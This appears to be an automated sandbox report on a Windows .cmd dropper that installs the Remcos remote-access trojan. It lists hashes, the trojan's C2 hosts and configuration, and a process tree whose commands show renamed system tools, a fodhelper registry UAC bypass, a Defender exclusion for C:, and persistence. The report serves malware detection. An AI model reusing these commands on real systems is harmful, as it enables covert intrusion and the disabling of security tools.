Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-05-2024 02:05

General

  • Target

    ef227a4256686de1fd81f9494ad29f25c698ba837c1781014537374cc333f022.cmd

  • Size

    3.2MB

  • MD5

    f09fcd4720339bb3092fe8b0e0c9f631

  • SHA1

    56afd26c5a724a87ce8d3648213a6ff2adcc10a9

  • SHA256

    ef227a4256686de1fd81f9494ad29f25c698ba837c1781014537374cc333f022

  • SHA512

    6304df118b808c2334248c14184cfad98a0ccb3931cb7876c718f328af5093c65c8b71e10ae73fc8b8dd8868ffe73c4e6ca1e2f327cb85cf5c385accc6aadcdd

  • SSDEEP

    24576:rSyi8cqIjNCrvFt5YjM8JfKlt/6azwC2ig407jFudT1omd4pig5j+RCNJXCP+pp:rSyTn2g51/6Zigt74omdu3p

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

myumysmeetr.ddns.net:2404

mysweeterbk.ddns.net:2404

meetre1ms.freeddns.org:2404

bbhmeetre1ms.freeddns.org:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-TPT9X3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 15 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ef227a4256686de1fd81f9494ad29f25c698ba837c1781014537374cc333f022.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4364
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:5044
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:1760
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:1064
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:4156
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\ef227a4256686de1fd81f9494ad29f25c698ba837c1781014537374cc333f022.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2568
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\ef227a4256686de1fd81f9494ad29f25c698ba837c1781014537374cc333f022.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:2644
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1748
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:3996
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:928
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:2860
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3568
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:880
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1652
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2304
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3916
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:3152
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2076
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:2484
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:3496
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3808
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3092
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4520
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Duchpovs.PIF
                  3⤵
                    PID:4524
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                      PID:1652
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    2⤵
                    • Executes dropped EXE
                    PID:5068
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    2⤵
                    • Executes dropped EXE
                    PID:4940
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    2⤵
                    • Executes dropped EXE
                    PID:3940
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:372
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:3916
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:440
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1956
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1652
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:3276
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4612,i,16710585221322798697,8586257254049248207,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:8
                    1⤵
                      PID:2836

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\ProgramData\remcos\logs.dat

                      Filesize

                      144B

                      MD5

                      d5bf14d7a0720525da5662f2a3d7f68c

                      SHA1

                      577b451ea85078f838c85dc8e04dc8cf2192c3db

                      SHA256

                      fb936722ad09013d9730a9c0ac7a0f8eb3730b64c807dfdda9e6a91e676e0331

                      SHA512

                      99a510467b5e92fd59437b98d27b730e94a372ca2dc946c5775bff78b41973f776e7bbf88249fbc563f8dbb0135be90c74807150a2e9193afbbc02b587b35b4a

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ambylmtg.lvj.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Public\Libraries\Ping_c.pif

                      Filesize

                      1.1MB

                      MD5

                      33bbd27a00b4160a844a7edf2efef84e

                      SHA1

                      c3f19d22898b690d4c98c59416c62ec6e54a39de

                      SHA256

                      2c49f89d2a461bb32f9c50f8b37fb53b0f86294d4f03fb3e08588e979329fb45

                      SHA512

                      d4628cdae15273dc0863afa06153d202d8a61ed8d0f9e213c47f029016b81cad7d2d4dc3c115aefbff9c9d0ba6d74e3aa89f09d5fd6226eaa597f0e0328415b7

                    • C:\Users\Public\Ping_c.mp4

                      Filesize

                      2.2MB

                      MD5

                      4ea05e6097590a5d2eac1ba0ada0a2fa

                      SHA1

                      63bb037ad57358d6931cccbc8a37c6bdeddcb497

                      SHA256

                      8457b155358dd52b872245248bb8e3dfaa275cae2537e35520514b0a81833320

                      SHA512

                      9103b62fbbba7e3b6304d50f6409bae14be2e4791d2d22b5b0d8181a269c686a56d8c269b48e194d414883e433965d91f22caa5035f0a539bfb441fa301d1a84

                    • C:\Users\Public\alpha.exe

                      Filesize

                      283KB

                      MD5

                      8a2122e8162dbef04694b9c3e0b6cdee

                      SHA1

                      f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                      SHA256

                      b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                      SHA512

                      99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                    • C:\Users\Public\ger.exe

                      Filesize

                      75KB

                      MD5

                      227f63e1d9008b36bdbcc4b397780be4

                      SHA1

                      c0db341defa8ef40c03ed769a9001d600e0f4dae

                      SHA256

                      c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                      SHA512

                      101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                    • C:\Users\Public\kn.exe

                      Filesize

                      1.6MB

                      MD5

                      bd8d9943a9b1def98eb83e0fa48796c2

                      SHA1

                      70e89852f023ab7cde0173eda1208dbb580f1e4f

                      SHA256

                      8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                      SHA512

                      95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                    • C:\Users\Public\xkn.exe

                      Filesize

                      442KB

                      MD5

                      04029e121a0cfa5991749937dd22a1d9

                      SHA1

                      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                      SHA256

                      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                      SHA512

                      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                    • C:\Windows \System32\per.exe

                      Filesize

                      48KB

                      MD5

                      85018be1fd913656bc9ff541f017eacd

                      SHA1

                      26d7407931b713e0f0fa8b872feecdb3cf49065a

                      SHA256

                      c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                      SHA512

                      3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                    • memory/1652-83-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-93-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-87-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-123-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-88-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-81-0x0000000003F30000-0x0000000004F30000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/1652-89-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-90-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-91-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-86-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-98-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-99-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-122-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-106-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-115-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/1652-114-0x000000001BCB0000-0x000000001BD32000-memory.dmp

                      Filesize

                      520KB

                    • memory/2304-45-0x000002933A900000-0x000002933A922000-memory.dmp

                      Filesize

                      136KB

                    • memory/4520-75-0x0000000000400000-0x000000000051D000-memory.dmp

                      Filesize

                      1.1MB